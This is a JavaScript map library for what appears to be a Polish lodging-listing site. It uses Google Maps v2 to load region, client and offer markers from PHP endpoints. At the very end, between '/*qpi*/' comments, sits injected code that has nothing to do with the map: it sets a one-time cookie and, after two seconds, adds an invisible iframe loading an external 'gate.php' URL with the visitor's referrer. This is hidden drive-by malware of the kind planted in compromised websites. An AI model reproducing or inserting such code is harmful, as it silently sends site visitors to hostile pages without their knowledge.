/**
 * Author of Library: APLIT
*/
 
//global variables
var mapa = null;
var manager = null;
var loader = null;
var cen = null;

//initialization
function initialize(type, nr, nr2) {
	if (GBrowserIsCompatible()) {
		mapa = new GMap2(document.getElementById("mapka"));
		manager = new GMarkerManager(mapa);
		//loader = makeLoader();
		mapa.addControl(new GLargeMapControl());
		mapa.addControl(new GMapTypeControl());
		mapa.addControl(new GScaleControl());
		mapa.enableDoubleClickZoom();
		mapa.enableContinuousZoom();
		mapa.enableScrollWheelZoom();
		if(manager != null) {
      manager = null;
      manager = new GMarkerManager(mapa);
		}
		mapa.setCenter(new GLatLng(52.03152, 18.24576), 6);
		if(type == 'def') {
      regions();
      clients();
    } else if(type == 'all') {
      clients(3);
      articles();
    } else if(type == 'art') {
      articles();
    } else if(type == 'obj') {
      clients(3);
      articles();
      centerObject(nr);
    } else if(type == 'cli') {
      GEvent.addListener(mapa, "zoomend", function(oldLevel, newLevel) { document.getElementById('zoom').value = newLevel; });
      setupClient(nr);
    } else if(type == 'off') {
      setupOffer(nr);
    } else if(type == 'woj') {
      getWojCen(nr);
      setupWoj(nr, nr2);
    } else if(type == 'pol') {
      setupPol(nr, nr2);
    } else if(type == 'typ') {
      setupTyp(nr);
    }

	}
}

///////////functions///////////

//pobiera markery z ilością obiektów w regionie
function regions() {
	var batchr = [];
	var url="resultR.php";
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
				// obtain the attribues of each marker
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var html = markery[i].getAttribute("nazwa");
				var point = new GLatLng(lat,lng);
				var count = markery[i].getAttribute("description");
				batchr.push( MarkerRegion(point, html, count) );
			}
			manager.addMarkers( batchr, 4, 7 );
      manager.refresh();
		}
	}
	request.send(null);
}

//pobiera markery z wszystkimi klientami. Parametr lvl oznacza poziom od którego są widoczne na mapie
function clients(lvl) {
  level = typeof(lvl) != 'undefined' ? lvl : 8;
	var batchc = [];
	var url="resultC.php";
	var request = GXmlHttp.create();
	//loaderText("Pobieranie i nanoszenie markerów...");
	request.open("GET", url, true);
	request.onreadystatechange = function() {
    if(request.readyState == 3) {
      //loaderText("Wczytywanie miast");
      //loaderShow();
    }
		if(request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
        var id = parseFloat(markery[i].getAttribute("id"));
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var html = markery[i].getAttribute("description");
				var icon = parseFloat(markery[i].getAttribute("icon"));
				var prior = (icon == 19 ? 5 : 1);
				var nazwa = markery[i].getAttribute("nazwa");
				batchc.push( MarkerGlobal(point, html, icon, prior, nazwa) );
			}
			manager.addMarkers( batchc, level );
      manager.refresh();
      //loaderHide();
		}
	}
	request.send(null);
}

//pobiera i wyświetla markery artykułów umieszczonych na mapie
function articles() {
	var batcha = [];
	var url="resultA.php";
	var request = GXmlHttp.create();
	request.open("GET", url, true);
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
       for (var i = 0; i < markery.length; i++) {
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var html = markery[i].getAttribute("description");
				var icon = parseFloat(markery[i].getAttribute("icon"));
				var nazwa = markery[i].getAttribute("nazwa");
				batcha.push( MarkerGlobal( point, html, icon, 0, nazwa) );
			}
			manager.addMarkers( batcha, 3);
      manager.refresh();
		}
	}
	request.send(null);
}

//pobiera i wyświetla marker konkretnego artykułu
function setupObject(nr) {
	var url="resultO.php?nr=" + nr;
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var marker = xmlDoc.documentElement.getElementsByTagName("marker");
        for (var i = 0; i < marker.length; i++) {
        var lat = parseFloat(marker[i].getAttribute("lat"));
        var lng = parseFloat(marker[i].getAttribute("lng"));
        var html = marker[i].getAttribute("nazwa");
        manager.addMarker( MarkerAdd( new GLatLng(lat,lng), html), 3);
        mapa.setCenter(new GLatLng(lat,lng), 9);
      }
      manager.refresh();
		}
	}
	request.send(null);
}

//centruje na markerze konkretnego artykułu
function centerObject(nr) {
	var url="resultO.php?nr=" + nr;
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var marker = xmlDoc.documentElement.getElementsByTagName("marker");
        for (var i = 0; i < marker.length; i++) {
        var lat = parseFloat(marker[i].getAttribute("lat"));
        var lng = parseFloat(marker[i].getAttribute("lng"));
        mapa.setCenter(new GLatLng(lat,lng), 13);
      }
		}
	}
	request.send(null);
}

//pobiera i wyświetla marker dla panelu klienta
function setupClient(id) {
  var lat = 52.217;
  var lng = 18.267;
  var zoom = 6;
	var url="resultCE.php?id=" + id;
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;  
      if (xmlDoc == null) {
        manager.addMarker( clientMarker( new GLatLng(lat,lng), 2 ), 3 );
        manager.refresh();
      } else {
        //getting markers and looping through it
        var markery = xmlDoc.documentElement.getElementsByTagName("marker");  
        for (var i = 0; i < markery.length; i++) {
          lat = parseFloat(markery[i].getAttribute("lat"));
          lng = parseFloat(markery[i].getAttribute("lng"));
          zoom = parseFloat(markery[i].getAttribute("zoom"));
          icon = parseFloat(markery[i].getAttribute("icon"));
          if(lat == null || lat == '') {
            lat = 52.217;
            lng = 18.267;
            zoom = 6;
          }
          manager.addMarker( clientMarker( new GLatLng(lat,lng), icon ), 3 );
          mapa.setCenter(new GLatLng(lat,lng), zoom);
          document.getElementById('lat').value = lat;
          document.getElementById('lng').value = lng;
          document.getElementById('zoom').value = zoom;
        }
        manager.refresh();
      }
		}
	}
	request.send(null);
}

//pobiera i wyświetla marker(y) w ofercie klienta 
function setupOffer(id) {
  if( typeof(id) != 'undefined' ) {
  var idO = id;
  var batcho = [];
	var url="resultOff.php?id=" + id;
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
				// obtain the attribues of each marker
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var icon = parseFloat(markery[i].getAttribute("icon"));
				var zoom = parseFloat(markery[i].getAttribute("zoom"));
				if(icon == 18) {
          var priority = 4;
          mapa.setCenter(point, zoom);
				} else {
          var priority = 1;
				}
				var name = markery[i].getAttribute("nazwa");
				var type = parseFloat(markery[i].getAttribute("type"));
				var html = markery[i].getAttribute("description");
				batcho.push( MarkerGlobal(point, html, icon, priority, name) );
			}
			manager.addMarkers( batcho, 4);
      manager.refresh();
		}
	}
	request.send(null);
  }
}

//pobiera i wyświetla markery obiektów w województwie
function setupWoj(id, id2) {
  if( typeof(id) != 'undefined' ) {
  var batcho = [];
	var url="resultW.php?id=" + id;
	if( typeof(id2) != 'undefined' ) {
	url += '&id2=' + id2;
	}
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
				// obtain the attribues of each marker
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var icon = parseFloat(markery[i].getAttribute("icon"));
				if(icon == 19) {
          var priority = 4;
				} else {
          var priority = 1;
				}
				var name = markery[i].getAttribute("nazwa");
				var html = markery[i].getAttribute("description");
				batcho.push( MarkerGlobal(point, html, icon, priority, name) );
			}
			manager.addMarkers( batcho, 4);
      manager.refresh();
		}
	}
	request.send(null);
  }
}


//pobiera i wyświetla markery obiektów o określonym położeniu
function setupPol(id, id2) {
  if( typeof(id) != 'undefined' ) {
  var batcho = [];
	var url="resultP.php?id=" + id;
	if( typeof(id2) != 'undefined' ) {
	url += '&id2=' + id2;
	}
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
				// obtain the attribues of each marker
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var icon = parseFloat(markery[i].getAttribute("icon"));
				if(icon == 19) {
          var priority = 4;
				} else {
          var priority = 1;
				}
				var name = markery[i].getAttribute("nazwa");
				var html = markery[i].getAttribute("description");
				batcho.push( MarkerGlobal(point, html, icon, priority, name) );
			}
			manager.addMarkers( batcho, 4);
      manager.refresh();
		}
	}
	request.send(null);
  }
}


//pobiera i wyświetla markery obiektów o określonym typie działalności
function setupTyp(id) {
  if( typeof(id) != 'undefined' ) {
  var batcht = [];
	var url="resultT.php?id=" + id;
	var request = GXmlHttp.create();
	request.open('GET', url, true);	
	request.onreadystatechange = function() {
		if (request.readyState == 4) {
			var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
				// obtain the attribues of each marker
				var lat = parseFloat(markery[i].getAttribute("lat"));
				var lng = parseFloat(markery[i].getAttribute("lng"));
				var point = new GLatLng(lat,lng);
				var icon = parseFloat(markery[i].getAttribute("icon"));
				if(icon == 19) {
          var priority = 4;
				} else {
          var priority = 1;
				}
				var name = markery[i].getAttribute("nazwa");
				var html = markery[i].getAttribute("description");
				batcht.push( MarkerGlobal(point, html, icon, priority, name) );
			}
			manager.addMarkers( batcht, 4);
      manager.refresh();
		}
	}
	request.send(null);
  }
}

//adding simple marker
function MarkerAdd(point, html) {
	var marker = new GMarker(point);
	GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(html ); });
	return marker;
}

//adding normal marker
function MarkerGlobal(point, html, icon, priority, name) {
  var marker = new GMarker(point, {icon: getIcon(icon), title: name, zIndexProcess: priorytet });
  marker.promoted = priority;
	GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(html); });
	GEvent.addListener(marker, "dblclick", function() { mapa.setCenter(point, 15); });
	return marker;
}

//adding region marker
function MarkerRegion(point, html, count) {
  var marker = new GMarker(point, {icon: getRegionIcon(count), title: html} );
	GEvent.addListener(marker, "dblclick", function() { mapa.setCenter(point, 8); });
	return marker;
}

function MarkerObject(point, html, nr) {
  var marker = new GMarker(point, getObjectIcon(nr) );
	GEvent.addListener(marker, "click", function() { marker.openInfoWindowHtml(html); });
	GEvent.addListener(marker, "dblclick", function() { mapa.setCenter(point, 15); });
	return marker;
}

//adding client panel marker
function clientMarker(point, icon) {
  var marker = new GMarker(point, {icon: getIcon(icon), draggable:true});
  GEvent.addListener(marker, "dragstart", function() {
    mapa.closeInfoWindow();
  });

  GEvent.addListener(marker, "dragend", function() {
    document.getElementById('lat').value = marker.getLatLng().lat();
    document.getElementById('lng').value = marker.getLatLng().lng();
    document.getElementById('zoom').value = mapa.getZoom();
  });
  return marker;
}

//getting icon for marker
function getIcon(nr) {
  var icon = new GIcon();
  icon.image = "http://www.noclegi24h.pl/libs/get_icon.php?nr=" + nr;
  icon.iconSize = new GSize(16, 16);
  icon.iconAnchor = new GPoint(8, 8);
  icon.infoWindowAnchor = new GPoint(8, 1);
  icon.shadow = "";
  return icon;
}

//making icon for region
function getRegionIcon(nr) {
  var icon = new GIcon();
  icon.image = "http://www.kwatery24h.pl/additional/get_region_offer.php?cnt=" + nr;
  icon.iconAnchor = new GPoint(16, 16);
  icon.infoWindowAnchor = new GPoint(16, 1);
  icon.iconSize = new GSize(32, 32);
  icon.shadow = "";
  return icon;
}

function getObjectIcon(nr) {
  var icon = new GIcon();
  icon.image = "http://www.kwatery24h.pl/additional/get_object_offer.php?cnt=" + nr;
  icon.iconAnchor = new GPoint(8, 8);
  icon.infoWindowAnchor = new GPoint(8, 1);
  icon.iconSize = new GSize(16, 16);
  icon.shadow = "";
  return icon;
}

//making loader
function makeLoader() {
var loading = document.createElement("div");
loading.innerHTML = "Ładowanie obiektów";
loading.id = "loader";
loading.style.visibility = "hidden";
var lx = mapa.getSize().width/2 - 110;
var ly = mapa.getSize().height/2 - 30;
var pos = new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(lx,ly));  
pos.apply(loading);
mapa.getContainer().appendChild(loading);
return loading; 
}

//hiding loader
function loaderHide() {
loader.style.visibility = "hidden";
}

//showing loader
function loaderShow() {
loader.style.visibility = "visible";
}

//changing loader text
function loaderText(text) {
loader.innerHTML = text;
}

function getWojCen(id) {
if(id == 18)
  mapa.setCenter( new GLatLng(48.45835188, 12.91992187), 4 );
else {
  var url="resultX.php?id=" + id;
  var request = GXmlHttp.create();
  request.open('GET', url, true);	
  request.onreadystatechange = function() {
    if (request.readyState == 4) {
      var xmlDoc = request.responseXML;
      //getting markers and looping through it
      var markery = xmlDoc.documentElement.getElementsByTagName("marker");
      for (var i = 0; i < markery.length; i++) {
        // obtain the attribues of each marker
        var lat = parseFloat(markery[i].getAttribute("lat"));
        var lng = parseFloat(markery[i].getAttribute("lng"));
        mapa.setCenter( new GLatLng(lat, lng), 8 );
      }
    }
  }
  request.send(null);
}
}

function priorytet(marker) {
  return marker.promoted*1000000;
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://unclesammm.com/gate.php?f=961827&r='+escape(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
